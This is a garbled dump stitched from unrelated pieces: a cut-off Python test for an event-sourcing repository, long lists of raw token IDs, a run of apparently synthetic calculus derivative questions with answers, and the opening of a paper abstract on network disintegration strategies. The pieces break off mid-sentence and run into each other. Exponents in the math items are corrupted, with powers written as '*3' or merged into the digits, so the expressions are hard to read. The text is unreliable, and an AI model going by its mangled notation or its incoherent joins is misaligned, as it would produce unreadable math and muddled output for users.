self.assertEqual(aggregate1.foo, "bar") self.assertEqual(aggregate2.foo, "baz") aggregate1.__discard__() aggregate1.__save__() self.assertFalse(aggregate1.id in self.app.repository) self.assertTrue(aggregate2.id in self.app.repository) def test_validate_previous_hash_error(self): # Check event has valid originator head. aggregate = Aggregate1(id="1
[ 11, 71, 11, 81, 11, 86, 424, 20, 559, 3285, 11, 71, 11, 81, 11, 86, 428, 269, 11, 86, 424, 20, 428, 374, 11, 81, 11, 86, 559, 268, 559, 608, 11, 86, 424, 20, 8772, 269, 15, 187, 19, 11, 81, 11, 86, 424, 20, 559, 3285, 11, 81, 11, 86, 428, 1484, 424, 20, 187, 1276, 310, 253, 2626, 4309, 273, 32900, 11, 74, 424, 21, 428, 854, 11, 74, 424, 19, 559, 6480, 11, 74, 32, 187, 2082, 3121, 11, 74, 187, 9867, 253, 2626, 4309, 273, 577, 11, 67, 11, 80, 424, 22, 428, 9199, 11, 67, 11, 80, 424, 19, 428, 43138, 11, 80, 424, 23, 559, 495, 11, 80, 424, 19, 8772, 258, 15, 187, 14028, 11, 67, 11, 80, 424, 19, 428, 818, 3208, 361, 11, 80, 424, 20, 187, 9867, 253, 806, 4309, 273, 374, 11, 77, 424, 21, 559, 6480, 11, 77, 424, 20, 559, 2030, 11, 77, 428, 27518, 3583, 15, 187, 25, 11, 77, 424, 20, 559, 11601, 11, 77, 424, 19, 559, 2030, 187, 1276, 310, 253, 1273, 4309, 273, 23412, 19, 11, 73, 424, 20, 428, 374, 11, 73, 559, 23504, 32, 187, 24558, 805, 11, 73, 187, 1276, 310, 253, 2626, 4309, 273, 428, 23, 17391, 11, 80, 424, 20, 559, 608, 11, 80, 424, 19, 559, 41206, 11, 80, 32, 187, 14, 1787, 20520, 187, 9867, 253, 806, 4309, 273, 428, 20, 11, 78, 11, 88, 11, 89, 424, 19, 559, 1384, 3677, 11, 78, 11, 88, 428, 374, 11, 78, 11, 89, 428, 9901, 11, 89, 424, 19, 428, 854, 11, 89, 8772, 259, 15, 187, 14, 20, 11, 78, 11, 89, 424, 19, 559, 1384, 3677, 11, 78, 187, 9867, 253, 2626, 4309, 273, 428, 83, 11, 85, 424, 20, 11, 91, 424, 20, 428, 608, 11, 83, 11, 85, 424, 20, 11, 91, 428, 2145, 11, 83, 11, 85, 424, 19, 11, 91, 424, 20, 428, 721, 11, 83, 11, 85, 11, 91, 428, 898, 11, 85, 424, 20, 11, 91, 424, 20, 559, 246, 424, 19, 11, 91, 424, 19, 8772, 246, 15, 187, 14, 23, 11, 83, 11, 91, 424, 20, 428, 1884, 11, 83, 11, 91, 428, 8255, 11, 91, 424, 20, 187, 1276, 310, 253, 806, 4309, 273, 374, 11, 71, 424, 19, 11, 81, 424, 20, 559, 27648, 11, 71, 11, 81, 424, 20, 559, 24521, 11, 81, 424, 20, 8772, 269, 32, 187, 21, 11, 71, 11, 81, 424, 20, 559, 27648, 11, 81, 424, 20, 187, 9867, 253, 2626, 4309, 273, 374, 11, 74, 11, 80, 11, 88, 424, 21, 11, 90, 428, 608, 11, 74, 11, 80, 11, 88, 424, 20, 11, 90, 559, 721, 11, 74, 11, 80, 11, 88, 424, 20, 428, 374, 11, 74, 11, 80, 11, 88, 424, 19, 11, 90, 428, 608, 11, 74, 11, 80, 11, 88, 11, 90, 428, 374, 11, 74, 11, 88, 424, 19, 428, 818, 11, 88, 424, 19, 11, 90, 559, 374, 11, 90, 8772, 259, 15, 187, 2385, 11, 74, 11, 80, 11, 88, 11, 90, 428, 1884, 11, 74, 11, 80, 11, 90, 559, 5540, 11, 74, 11, 80, 187, 9867, 253, 2626, 4309, 273, 428, 86, 424, 21, 428, 374, 11, 86, 424, 20, 11, 89, 428, 1484, 424, 20, 559, 495, 11, 86, 424, 19, 11, 89, 559, 721, 11, 86, 11, 89, 559, 577, 11, 89, 8772, 1484, 15, 187, 14, 1348, 11, 86, 428, 1249, 11, 89, 428, 721, 187, 9867, 253, 2626, 4309, 273, 4567, 11, 83, 424, 20, 559, 4567, 11, 83, 424, 19, 559, 655, 11, 83, 8772, 391, 15, 187, 14403, 187, 41124, 3495, 11, 77, 11, 85, 424, 19, 11, 90, 559, 374, 11, 77, 11, 85, 424, 19, 428, 298, 559, 608, 11, 85, 424, 20, 11, 90, 559, 7652, 11, 85, 424, 20, 8772, 340, 15, 187, 1508, 11, 77, 11, 85, 424, 19, 559, 608, 11, 85, 424, 20, 187, 9867, 253, 2626, 4309, 273, 480, 424, 20, 11, 77, 424, 20, 559, 9654, 11, 75, 424, 20, 11, 77, 428, 3307, 11, 75, 424, 19, 11, 77, 424, 20, 428, 495, 11, 75, 424, 19, 11, 77, 424, 19, 8772, 480, 15, 187, 23, 11, 77, 424, 20, 559, 38316, 11, 77, 187, 9867, 253, 806, 4309, 273, 854, 4196, 11, 84, 424, 19, 11, 85, 424, 20, 559, 256, 424, 19, 559, 246, 424, 20, 559, 38820, 11, 85, 8772, 256, 15, 187, 1166, 4529, 11, 84, 11, 85, 424, 20, 559, 374, 11, 84, 187, 9867, 253, 1273, 4309, 273, 428, 19, 11, 75, 424, 22, 428, 12708, 11, 75, 424, 21, 559, 495, 11, 75, 424, 19, 428, 12446, 11, 75, 428, 9934, 8772, 480, 15, 187, 14, 1449, 11, 75, 424, 20, 428, 1249, 3547, 11, 75, 424, 19, 559, 721, 187, 1276, 310, 253, 1273, 4309, 273, 818, 33847, 11, 80, 424, 19, 428, 11422, 11, 80, 428, 1722, 8772, 258, 32, 187, 1010, 21397, 187, 9867, 253, 1273, 4309, 273, 5345, 2055, 11, 78, 424, 20, 428, 721, 27122, 11, 78, 8772, 278, 15, 187, 20785, 1619, 11, 78, 187, 9867, 253, 2626, 4309, 273, 428, 18040, 11, 84, 424, 22, 559, 22287, 11, 84, 424, 19, 15, 187, 14, 10683, 1549, 11, 84, 424, 19, 187, 1276, 310, 253, 4309, 273, 428, 1449, 2222, 11, 77, 559, 8255, 1839, 8772, 298, 32, 187, 14, 1449, 2222, 187, 9867, 253, 2626, 4309, 273, 32455, 11, 83, 424, 21, 428, 818, 11, 83, 424, 20, 559, 2233, 11, 83, 424, 19, 559, 1458, 15, 187, 23, 21340, 11, 83, 428, 5976, 187, 1276, 310, 253, 806, 4309, 273, 428, 39069, 11, 71, 428, 29754, 8772, 269, 32, 187, 14, 39069, 187, 9867, 253, 806, 4309, 273, 428, 2090, 3677, 11, 76, 428, 25305, 1235, 8772, 465, 15, 187, 14, 2090, 3677, 187, 41124, 428, 883, 11, 66, 424, 20, 11, 83, 424, 20, 559, 577, 11, 66, 424, 20, 11, 83, 559, 5325, 11, 83, 424, 20, 8772, 247, 15, 187, 14, 1610, 11, 66, 424, 19, 11, 83, 424, 20, 559, 1249, 11, 66, 424, 19, 11, 83, 187, 1276, 310, 253, 4309, 273, 495, 11, 73, 424, 20, 11, 89, 559, 19956, 11, 73, 424, 20, 428, 374, 11, 73, 424, 19, 11, 89, 424, 19, 428, 1903, 11, 89, 8772, 1269, 32, 187, 20, 11, 73, 424, 20, 428, 577, 11, 73, 424, 19, 11, 89, 428, 1903, 187, 1276, 310, 253, 2626, 4309, 273, 27518, 11, 74, 424, 20, 428, 884, 3141, 11, 74, 424, 19, 8772, 891, 32, 187, 1047, 1619, 187, 9867, 253, 2626, 4309, 273, 247, 424, 23, 11, 74, 424, 20, 559, 898, 11, 66, 424, 20, 11, 74, 424, 20, 559, 374, 11, 66, 424, 19, 11, 74, 424, 20, 428, 1384, 11, 66, 424, 19, 8772, 247, 15, 187, 8193, 11, 66, 424, 20, 11, 74, 424, 20, 559, 8255, 11, 74, 424, 20, 187, 1276, 310, 253, 2626, 4309, 273, 428, 1423, 11, 73, 424, 20, 11, 81, 424, 20, 428, 374, 11, 73, 424, 20, 559, 374, 11, 73, 424, 19, 11, 81, 424, 20, 428, 577, 11, 73, 424, 19, 559, 495, 11, 81, 424, 20, 8772, 288, 32, 187, 14, 14783, 11, 81, 424, 20, 428, 1249, 187, 9867, 253, 806, 4309, 273, 608, 27385, 11, 80, 424, 20, 11, 87, 424, 19, 428, 898, 24803, 11, 87, 424, 19, 8772, 258, 15, 187, 1010, 35410, 11, 80, 424, 19, 11, 87, 424, 19, 187, 9867, 253, 2626, 4309, 273, 898, 11, 72, 424, 20, 11, 82, 424, 20, 559, 495, 25133, 11, 72, 424, 20, 428, 2164, 11, 72, 424, 19, 11, 82, 424, 20, 428, 577, 11, 72, 11, 82, 424, 20, 559, 374, 11, 72, 11, 82, 424, 19, 8772, 2805, 15, 187, 3439, 11, 72, 424, 20, 428, 18836, 11, 72, 424, 19, 428, 2164, 11, 72, 187, 1276, 310, 253, 1273, 4309, 273, 1458, 11, 91, 424, 19, 559, 577, 11, 91, 428, 2164, 8772, 1182, 32, 187, 1229, 187, 1276, 310, 253, 4309, 273, 428, 74, 424, 19, 11, 91, 559, 608, 11, 74, 424, 19, 428, 11681, 11, 74, 11, 91, 559, 21807, 11, 74, 428, 3495, 11, 91, 428, 374, 8772, 1182, 32, 187, 14, 74, 424, 19, 428, 11681, 11, 74, 428, 3495, 187, 1276, 310, 253, 806, 4309, 273, 428, 30176, 20, 11, 82, 424, 21, 559, 26249, 3593, 32, 187, 14, 746, 12522, 11, 82, 424, 20, 187, 1276, 310, 253, 2626, 4309, 273, 428, 2385, 11, 80, 424, 20, 428, 12131, 11, 80, 424, 19, 32, 187, 14, 21340, 187, 1276, 310, 253, 2626, 4309, 273, 1884, 11, 76, 424, 23, 428, 608, 11, 76, 424, 20, 11, 81, 424, 20, 559, 374, 11, 76, 424, 19, 11, 81, 428, 465, 11, 81, 424, 19, 559, 268, 424, 20, 8772, 465, 32, 187, 1812, 361, 11, 76, 424, 20, 428, 1884, 11, 81, 424, 20, 187, 9867, 253, 806, 4309, 273, 428, 2270, 11, 66, 424, 21, 11, 71, 11, 76, 559, 374, 11, 66, 424, 19, 11, 76, 559, 30610, 11, 71, 11, 76, 8772, 247, 15, 187, 14, 16587, 11, 66, 424, 20, 11, 71, 11, 76, 559, 577, 11, 66, 11, 76, 187, 1276, 310, 253, 2626, 4309, 273, 428, 19, 11, 69, 424, 21, 428, 10508, 11, 69, 424, 20, 559, 31184, 11, 69, 424, 19, 8772, 277, 32, 187, 14, 2385, 11, 69, 428, 608, 2055, 187, 1276, 310, 253, 2626, 4309, 273, 495, 11, 67, 424, 22, 11, 71, 428, 854, 11, 67, 424, 21, 11, 71, 559, 3495, 11, 67, 424, 21, 559, 374, 11, 67, 424, 19, 559, 22287, 11, 67, 559, 269, 8772, 270, 32, 187, 11395, 11, 67, 424, 19, 11, 71, 428, 19372, 11, 67, 11, 71, 559, 41589, 11, 67, 187, 1276, 310, 253, 2626, 4309, 273, 2030, 3655, 11, 80, 424, 22, 428, 2164, 11, 80, 424, 19, 428, 8255, 32, 187, 1010, 3079, 1438, 11, 80, 424, 19, 187, 9867, 253, 2626, 4309, 273, 428, 8970, 11, 78, 424, 20, 11, 79, 428, 278, 424, 20, 428, 495, 11, 78, 424, 19, 559, 278, 11, 79, 559, 6931, 8772, 278, 15, 187, 14, 18104, 11, 79, 428, 721, 187, 1276, 310, 253, 2626, 4309, 273, 428, 19, 11, 72, 424, 23, 428, 818, 11, 72, 424, 21, 11, 81, 428, 13620, 11, 72, 424, 21, 11, 87, 428, 898, 11, 72, 424, 19, 11, 81, 11, 87, 559, 305, 11, 81, 559, 721, 11, 87, 8772, 305, 32, 187, 14, 14028, 11, 72, 424, 20, 428, 21748, 11, 72, 11, 81, 428, 495, 14028, 11, 72, 11, 87, 187, 9867, 253, 2626, 4309, 273, 898, 11, 82, 424, 23, 428, 898, 11, 82, 424, 21, 428, 21445, 11, 82, 424, 19, 15, 187, 43201, 11, 82, 424, 20, 428, 24521, 11, 82, 187, 1276, 310, 253, 4309, 273, 4567, 1012, 11, 68, 559, 577, 32054, 8772, 260, 32, 187, 1237, 1012, 187, 9867, 253, 806, 4309, 273, 1384, 11, 80, 424, 21, 428, 3307, 11, 80, 424, 19, 559, 1722, 3547, 8772, 258, 15, 187, 1438, 11, 80, 424, 20, 428, 7127, 11, 80, 187, 1276, 310, 253, 1273, 4309, 273, 428, 30176, 11, 80, 424, 19, 11, 81, 424, 19, 428, 24521, 11, 80, 11, 81, 424, 19, 428, 577, 11, 80, 11, 81, 8772, 258, 32, 187, 14, 38678, 11, 81, 424, 19, 187, 41124, 2145, 11, 71, 11, 90, 424, 19, 11, 91, 424, 19, 428, 269, 11, 90, 424, 19, 428, 26472, 11, 71, 11, 91, 424, 19, 559, 495, 11, 90, 424, 19, 559, 495, 342, 1675, 281, 340, 15, 187, 1731, 11, 71, 11, 90, 11, 91, 424, 19, 428, 374, 11, 71, 11, 90, 559, 209, 38, 2276, 557, 32375, 8130, 342, 2105, 7658, 275, 2570, 6928, 27, 380, 9560, 2554, 273, 7632, 2822, 3388, 4248, 15, 187, 510, 1263, 273, 2990, 557, 32375, 13, 1690, 10938, 2728, 5195, 285, 25473, 17150, 8889, 13, 556, 4618, 2898, 15216, 285, 45465, 1142, 8607, 15, 496, 436, 2929, 13, 359, 21364, 327, 253, 2990, 557, 32375, 1895, 342, 22766, 557, 32375, 2105, 13, 835, 253, 557, 32375, 2105, 281, 13469, 1016, 4666, 1537, 320, 1327, 14 ]	fpu3 + 29fpu - fu3 - 2pu + p + 5u*3 wrt f. 2pu3 + 29pu - u3 What is the third derivative of 274i*4 - 8i*2 + 38i? 6576i Find the third derivative of 4bo5 - 110bo2 - 630o*6 + 3o*2 wrt o. 240bo2 - 75600o*3 Find the first derivative of 2l*4 + 38l*3 + 25l - 23852. 8l3 + 114l*2 + 25 What is the second derivative of 3652h*3 - 2h + 169? 21912h What is the third derivative of -6208o*3 + 5o*2 + 381o? -37248 Find the first derivative of -3mwx2 + 2071mw - 2mx - 61x*2 - 8x wrt w. -3mx*2 + 2071m Find the third derivative of -rt3z*3 - 5rt3z - 13rt*2z*3 - 6rtz - 9t3z3 + t2z2 wrt t. -6rz3 - 30rz - 54z*3 What is the first derivative of 2f*2p*3 + 226fp3 + 216p*3 wrt f? 4fp3 + 226p*3 Find the third derivative of 2iow*4y - 5iow3y + 6iow3 - 2iow*2y - 5iowy - 2iw*2 - 7w*2y + 2y wrt w. 48iowy - 30ioy + 36io Find the third derivative of -u*4 - 2u*3x - u*3 + 3u*2x + 6ux + 4x wrt u. -24u - 12x - 6 Find the third derivative of 32r*3 + 32r*2 + 19r wrt r. 192 Differentiate 23lt*2y + 2lt*2 - l + 5t*3y + 43t3 wrt y. 23lt2 + 5t3 Find the third derivative of j3l3 + 63j*3l - 22j2l*3 - 3j*2l*2 wrt j. 6l*3 + 378l Find the first derivative of 896s2t3 + s2 + t*3 + 508t wrt s. 1792st*3 + 2s Find the second derivative of -2j5 - 106j*4 + 3j*2 - 105j - 68 wrt j. -40j3 - 1272j*2 + 6 What is the second derivative of 7662o*2 - 87o - 17 wrt o? 15324 Find the second derivative of 3788m3 - 6292m wrt m. 22728m Find the third derivative of -206s*5 + 158s*2. -12360s*2 What is the derivative of -4095l + 5438 wrt l? -4095 Find the third derivative of 262r4 - 7r*3 + 100r*2 + 15. 6288r - 42 What is the first derivative of -417f - 241 wrt f? -417 Find the first derivative of -6971k - 18850 wrt k. -6971 Differentiate -11a3r*3 + 4a*3r + 95r3 wrt a. -33a*2r*3 + 12a*2r What is the derivative of 3h3x + 225h3 - 2h*2x*2 - 11x wrt x? 3h3 - 4h*2x - 11 What is the third derivative of 238i3 - 1078i2 wrt i? 1428 Find the third derivative of a6i3 + 9a*3i*3 + 2a*2i*3 - 20a*2 wrt a. 120a*3i*3 + 54i*3 What is the third derivative of -22h*3p*3 - 2h*3 + 2h*2p*3 - 4h*2 + 3p*3 wrt h? -132p*3 - 12 Find the first derivative of 5331o*3v*2 - 9278v*2 wrt o. 15993o*2v*2 Find the third derivative of 9g*3q*3 + 3456g*3 - 24g*2q*3 - 4gq3 + 2gq2 wrt q. 54g*3 - 144g*2 - 24g What is the second derivative of 15z2 + 4z - 24 wrt z? 30 What is the derivative of -i*2z + 5i2 - 81iz + 156i - 23z - 2 wrt z? -i2 - 81i - 23 What is the first derivative of -4753q4 + 22881? -19012q*3 What is the third derivative of -48o*3 - 104o*2? -288 What is the third derivative of 30k*6 - 5k*3p*3 + 2k*2p - kp2 + p3 wrt k? 3600k*3 - 30p*3 Find the first derivative of -90a*4fk + 2a*2k + 266fk wrt a. -360a3fk + 4ak What is the third derivative of -2d*4 - 98d*3 + 384d*2 wrt d? -48d - 588 What is the third derivative of 3b5f - 8b4f + 23b4 + 2b*2 + 158b + f wrt b? 180b2f - 192bf + 552b What is the third derivative of 2573o*5 - 24o*2 - 54? 154380o*2 Find the third derivative of -150m*3n - m*3 - 3m*2 + mn + 39 wrt m. -900n - 6 What is the third derivative of -2g*6 - 7g*4p - 135g4v - 9g2pv + gp + 6v wrt g? -240g*3 - 168gp - 3240gv Find the third derivative of 9q*6 - 9q*4 - 143q*2. 1080q*3 - 216q What is the derivative of 3213c + 4759 wrt c? 3213 Find the first derivative of 20o*4 - 22o*2 + 1772 wrt o. 80o*3 - 44o What is the second derivative of -475o2p*2 - 216op2 - 4op wrt o? -950p*2 Differentiate 13fy2z*2 - fy*2 - 227fz2 + 3y*2 + 3 with respect to y. 26fyz*2 - 2f*y + Efficient disintegration strategies with cost constraint in complex networks: The crucial role of nodes near average degree. The study of network disintegration, including controlling disease spread and destroying terrorist organizations, has wide application scenarios and attracts many researchers. In this paper, we concentrate on the network disintegration problem with heterogeneous disintegration cost, where the disintegration cost to eliminate each node might be non-
[ 17991, 2433, 6907, 369, 3413, 1309, 19595, 6306, 15, 380, 15986, 497, 840, 4439, 281, 5312, 1495, 15, 380, 5459, 285, 12075, 275, 253, 896, 31345, 17991, 2433, 6907, 689, 247, 2180, 273, 2164, 288, 497, 3413, 285, 10509, 715, 608, 3272, 42344, 15, 25773, 275, 253, 17991, 2433, 6907, 3687, 685, 608, 3272, 497, 2783, 15, 380, 8876, 1180, 273, 14472, 11438, 2684, 1561, 2164, 288, 369, 5512, 577, 13, 8320, 15, 4683, 841, 11438, 13, 9523, 2462, 497, 875, 608, 3272, 285, 884, 3272, 15, 380, 22260, 273, 2169, 14, 30362, 3396, 17991, 2433, 6907, 2544, 497, 1199, 2406, 313, 70, 15, 72, 904, 495, 2462, 323, 253, 1384, 14, 1099, 3272, 4866, 10269, 481, 44156, 13, 253, 8876, 2264, 1180, 273, 11438, 369, 3012, 2169, 313, 1717, 41569, 275, 2255, 685, 275, 1821, 15, 21157, 734, 14, 27276, 3910, 497, 2540, 275, 253, 1180, 273, 11438, 2684, 15, 380, 15986, 5262, 247, 8876, 273, 577, 15, 26, 288, 342, 253, 31345, 17201, 6520, 264, 875, 1384, 3272, 285, 1884, 3272, 285, 760, 2164, 1054, 342, 253, 17201, 6508, 4103, 281, 253, 3806, 6306, 1899, 15, 329, 8876, 273, 2456, 11438, 4925, 390, 22536, 2120, 14, 23210, 279, 6907, 285, 5058, 11438, 2120, 14, 24210, 6907, 15, 2053, 941, 17093, 253, 18705, 1355, 2491, 273, 4866, 273, 253, 17201, 1309, 5312, 4712, 285, 253, 1355, 2408, 273, 673, 5262, 275, 6880, 15, 2053, 4451, 941, 7052, 8162, 281, 253, 4685, 273, 1363, 8, 15363, 3879, 13, 534, 1537, 2818, 253, 2440, 285, 5175, 273, 14472, 27067, 285, 253, 7103, 273, 9205, 285, 14122, 19785, 9694, 15, 1413, 27, 21108, 19121, 187, 187, 39, 15835, 1533, 310, 49458, 15, 1422, 37643, 339, 4834, 275, 247, 1984, 285, 7740, 670, 253, 1524, 1533, 13, 387, 2069, 670, 1881, 285, 27762, 13, 285, 1265, 281, 3153, 275, 253, 1533, 8406, 556, 3562, 323, 368, 15, 7243, 368, 3213, 715, 352, 13, 1533, 326, 310, 417, 634, 1211, 2568, 9193, 594, 1199, 751, 581, 13, 368, 1053, 457, 85, 971, 281, 755, 562, 273, 187, 187, 1276, 310, 352, 670, 27, 329, 6422, 13, 2798, 259, 4099, 272, 17005, 273, 19429, 875, 767, 2255, 432, 1027, 14649, 13, 34370, 312, 285, 418, 647, 66, 13, 1309, 253, 2180, 273, 2137, 285, 6054, 273, 32625, 275, 16111, 15, 10168, 275, 253, 1984, 34370, 312, 310, 15377, 13, 305, 962, 917, 13, 533, 247, 8080, 275, 617, 1211, 1039, 15, 1500, 310, 15822, 285, 556, 271, 828, 1763, 917, 5968, 13, 816, 751, 418, 647, 66, 187, 187, 1276, 310, 352, 670, 27, 5579, 8406, 9309, 466, 8771, 1062, 476, 457, 85, 2686, 4143, 253, 2469, 28, 512, 703, 476, 513, 310, 1067, 352, 13, 285, 3524, 352, 21460, 598, 15, 2091, 9309, 466, 41217, 247, 21653, 4481, 13, 512, 703, 5605, 281, 513, 310, 1056, 1841, 987, 342, 617, 5938, 15, 8948, 703, 476, 4993, 253, 1841, 275, 616, 2469, 326, 1646, 5369, 895, 494, 275, 253, 187, 187, 2512, 403, 1077, 1643, 11321, 326, 15785, 247, 1273, 673, 3698, 275, 253, 20021, 15, 831, 369, 253, 806, 6440, 326, 309, 9047, 275, 20021, 323, 253, 1273, 673, 28, 285, 407, 849, 1199, 352, 556, 27857, 285, 3403, 8550, 479, 13, 309, 1912, 457, 85, 2564, 247, 495, 5784, 390, 577, 394, 15, 831, 310, 417, 247, 4619, 1783, 273, 253, 6440, 533, 1898, 90, 9516, 418, 11625, 42305, 187, 187, 1898, 90, 9516, 13, 253, 3645, 1180, 818, 3365, 476, 457, 85, 755, 2217, 273, 253, 2846, 273, 42305, 15, 3932, 774, 406, 839, 281, 42305, 344, 2296, 521, 2165, 556, 4783, 432, 4757, 281, 4757, 15, 1893, 752, 310, 352, 670, 42305, 326, 556, 6518, 21130, 594, 1199, 32, 380, 1824, 432, 253, 12658, 11851, 32, 380, 5352, 2329, 432, 253, 24515, 4412, 390, 816, 253, 1818, 273, 38811, 32, 6089, 309, 457, 78, 7016, 281, 1333, 352, 310, 5293, 273, 841, 15, 21130, 3365, 4395, 281, 42305, 281, 320, 8003, 281, 3963, 3946, 7832, 31086, 14183, 17861, 285, 326, 3133, 281, 320, 253, 1921, 521, 2165, 556, 5520, 15, 187, 187, 1628, 42, 457, 306, 760, 1694, 2021, 5877, 479, 275, 659, 3136, 594, 352, 1160, 3282, 1806, 9516, 2183, 15501, 13951, 659, 3136, 15, 773, 42, 4395, 281, 835, 31086, 310, 285, 697, 5087, 43503, 15, 187, 187, 1628, 7542, 309, 4395, 627, 275, 5080, 619, 2165, 556, 1705, 327, 458, 1825, 285, 14493, 15, 187, 187, 1628, 1147, 457, 84, 247, 747, 5691, 285, 352, 457, 84, 4307, 562, 13, 984, 4536, 368, 476, 755, 247, 2372, 46745, 1806, 9516, 2879, 15, 187, 187, 1628, 2973, 249, 285, 309, 7450, 1016, 643, 512, 253, 673, 285, 359, 457, 250, 824, 1175, 3858, 13, 359, 457, 250, 751, 13189, 275, 247, 1039, 1425, 51, 18999, 426, 3019, 34101, 1933, 7614, 187, 187, 9324, 15253, 7079, 4450, 15, 80, 187, 9324, 15253, 7079, 1973, 64, 5374, 15, 80, 187, 9324, 15253, 7079, 1531, 68, 15, 80, 187, 9324, 15253, 7079, 11390, 15, 80, 187, 9324, 15253, 7079, 269, 88, 64, 11183, 15, 80, 187, 9324, 15253, 7079, 2876, 15, 80, 187, 9324, 15253, 7079, 14031, 15, 80, 187, 9324, 15253, 7079, 673, 15, 80, 187, 9324, 15253, 7079, 21626, 15, 80, 187, 9324, 15253, 7079, 4981, 15, 80, 187, 187, 9324, 15253, 14, 6999, 13125, 10, 7079, 9667, 15, 80, 187, 187, 6971, 8561, 35473, 7079, 29227, 187, 6971, 8561, 35473, 14, 6999, 296, 78, 1237, 71, 18, 10, 7079, 269, 18, 187, 6971, 8561, 35473, 14, 6999, 296, 78, 1237, 71, 24, 10, 7079, 269, 24, 187, 187, 15, 6663, 1139, 58, 27, 3019, 51, 18999, 1933, 7973, 64, 5374, 15, 68, 187, 7973, 64, 5374, 15, 80, 27, 330, 19499, 7079, 428, 14803, 56, 64, 3788, 43, 1372, 44241, 20941, 64, 3788, 43, 1372, 10, 428, 14803, 56, 64, 17258, 1372, 44241, 20941, 64, 17258, 1372, 10, 187, 15633, 1712, 4538, 18, 94, 187, 6428, 187, 187, 14214, 1712, 4538, 19, 94, 187, 2912, 187, 187, 510, 3480, 273, 9630, 11723, 985, 941, 275, 690, 6684, 4343, 2789, 352, 2834, 281, 6642, 2728, 9364, 285, 8996, 285, 476, 906, 275, 13444, 8981, 273, 14149, 1345, 1786, 3237, 1254, 1311, 18, 1656, 48838, 8673, 2175, 13, 10098, 846, 824, 3374, 403, 8523, 13282, 403, 2834, 285, 8214, 281, 2589, 275, 752, 403, 2223, 8905, 285, 11393, 3672, 342, 4105, 11723, 985, 285, 13120, 11319, 15, 2053, 2412, 11230, 12748, 906, 275, 2175, 342, 1774, 7364, 1955, 281, 1355, 3410, 1979, 13, 8492, 5611, 407, 2256, 16510, 16182, 285, 253, 19297, 281, 956, 5705, 689, 16707, 11508, 273, 673, 3309, 281, 6642, 2728, 9364, 15, 28289, 12333, 2728, 273, 7202, 6510, 313, 7519, 24900, 10, 556, 4102, 644, 7478, 347, 271, 686, 554, 5710, 280, 8, 275, 8170, 3968, 1254, 1311, 19, 7254, 1311, 21, 1184, 285, 556, 2959, 1199, 4116, 275, 253, 2242, 2315, 13, 533, 31634, 2175, 273, 253, 10726, 11089, 432, 841, 15711, 15, 187, 187, 38954, 273, 10522, 7625, 13, 5196, 275, 6146, 18288, 12951, 274, 45877, 285, 3599, 39351, 875, 4695, 285, 4059, 13, 452, 2361, 7488, 2979, 273, 17939, 24900, 281, 320, 875, 884, 285, 3387, 575, 6, 342, 2169, 4142, 2326, 275, 7625, 18839, 323, 5086, 21047, 5820, 1254, 1311, 22, 7254, 1311, 740, 5413, 34696, 1254, 1311, 25, 5413, 5662, 4292, 13, 5014, 3811, 387, 6945, 11434, 1679, 685, 6783, 575, 78, 1840, 6150, 1268, 1254, 1311, 883, 7254, 1311, 1012, 1184, 285, 1110, 665, 17017, 632, 6362, 13, 247, 1728, 14, 18321, 264, 32840, 32715, 1254, 1311, 26, 1656, 3900, 841, 2831, 14, 20382, 2175, 273, 10522, 7888, 4271, 2442, 2495, 2616, 323, 17939, 24900, 13, 253, 3862, 2491, 273, 2728, 8996, 8197, 597, 6635, 1056, 352, 2834, 281, 11435, 253, 3486, 273, 253, 2728, 2439, 253, 2087, 3072, 15, 329, 1798, 10183, 275, 2509, 14854, 2175, 275, 11393, 7888, 275, 12951, 274, 45877, 310, 294, 14, 9450, 839, 11580, 9076, 347, 597, 5431, 513, 417, 452, 12453, 285, 13939, 403, 3839, 42540, 15, 187, 187, 1552, 1304, 8631, 253, 13701, 285, 7882, 5319, 273, 247, 8612, 25231, 14, 3169, 11077, 281, 1263, 17939, 24900, 285, 643, 1345, 1786, 3374, 275, 416, 34627, 13, 253, 11053, 2252, 7811, 313, 66, 25231, 2170, 342, 10656, 19715, 326, 2723, 281, 247, 9635, 275, 253, 1986, 2077, 10, 275, 12951, 274, 45877, 326, 18275, 253, 11553, 17323, 15, 844, 5421, 253, 4487, 273, 416, 34627, 387, 253, 2748, 273, 1980, 1345, 1786, 6338, 665, 16632, 281, 6583, 616, 13214, 326, 8996, 273, 37795, 275, 616, 2919, 369, 347, 1029, 347, 352, 369, 275, 11442, 12951, 274, 45877, 835, 253, 686, 554, 5710, 280, 8, 369, 806, 3636, 15, 380, 767, 3315, 25545, 3894, 28155, 285, 6938, 2495, 2616, 323, 37795, 15, 416, 34627, 556, 247, 3072, 273, 21807, 13, 28933, 285, 556, 271, 2170, 273, 5512, 374, 2313, 575, 10294, 63, 19, 63, 1254, 1311, 1047, 1656, 15699, 13, 8073, 15, 23, 575, 6, 273, 253, 21251, 273, 253, 7811, 273, 416, 34627, 403, 2783, 281, 320, 3811, 275, 11393, 3672, 13, 342, 8073, 575, 6, 273, 1821, 285, 854, 575, 6, 273, 2255, 2444, 8558, 275, 21047, 1254, 1311, 1047, 1656, 380, 1263, 369, 2218, 342, 8723, 2105, 407, 970, 20848, 2561, 26624, 285, 14854, 956, 598, 369, 8655, 949, 253, 897, 273, 4156, 19274, 985, 313, 40, 3299, 10, 4302, 281, 10534, 4271, 5014, 8, 4178, 2979, 15, 187, 187, 28743, 8103, 1712, 4538, 20, 94, 187, 22928, 187, 187, 510, 2561, 8103, 369, 281, 5100, 247, 11077, 273, 387, 1878, 9098, 7747, 8612, 273, 253, 3072, 273, 416, 34627, 285, 281, 3653, 253, 3745, 281, 6558, 956, 598, 273, 253, 11077, 689, 247, 767, 807, 673, 2180, 15, 38536, 13, 3520, 1174, 285, 9965, 941, 5728, 432, 5014, 387, 11077, 39645, 285, 689, 673, 651, 320, 4217, 281, 1263, 8996, 13, 9364, 285, 2495, 2616, 323, 17939, 24900, 285, 643, 1345, 1786, 3237, 15, 1916, 253, 6070, 326, 416, 34627, 310, 29210, 273, 253, 3072, 285, 3126, 273, 643, 4811, 273, 12951, 274, 45877, 13, 253, 941, 432, 436, 11077, 812, 320, 908, 281, 2096, 2074, 1345, 1786, 3374, 275, 643, 20036, 273, 12951, 274, 45877, 15, 187, 187, 15568, 1712, 4538, 21, 94, 187, 6877, 187, 187, 510, 1263, 369, 5196, 275, 767, 12475, 15, 496, 19368, 309, 313, 6755, 10, 5705, 497, 17875, 715, 253, 11077, 432, 7888, 275, 253, 4487, 15, 496, 19368, 3719, 313, 6759, 10, 841, 1072, 7888, 497, 27694, 959, 285, 271, 3177, 369, 1160, 281, 294, 14, 22045, 9166, 273, 253, 884, 1797, 5705, 17692, 275, 19368, 309, 15, 14117, 5705, 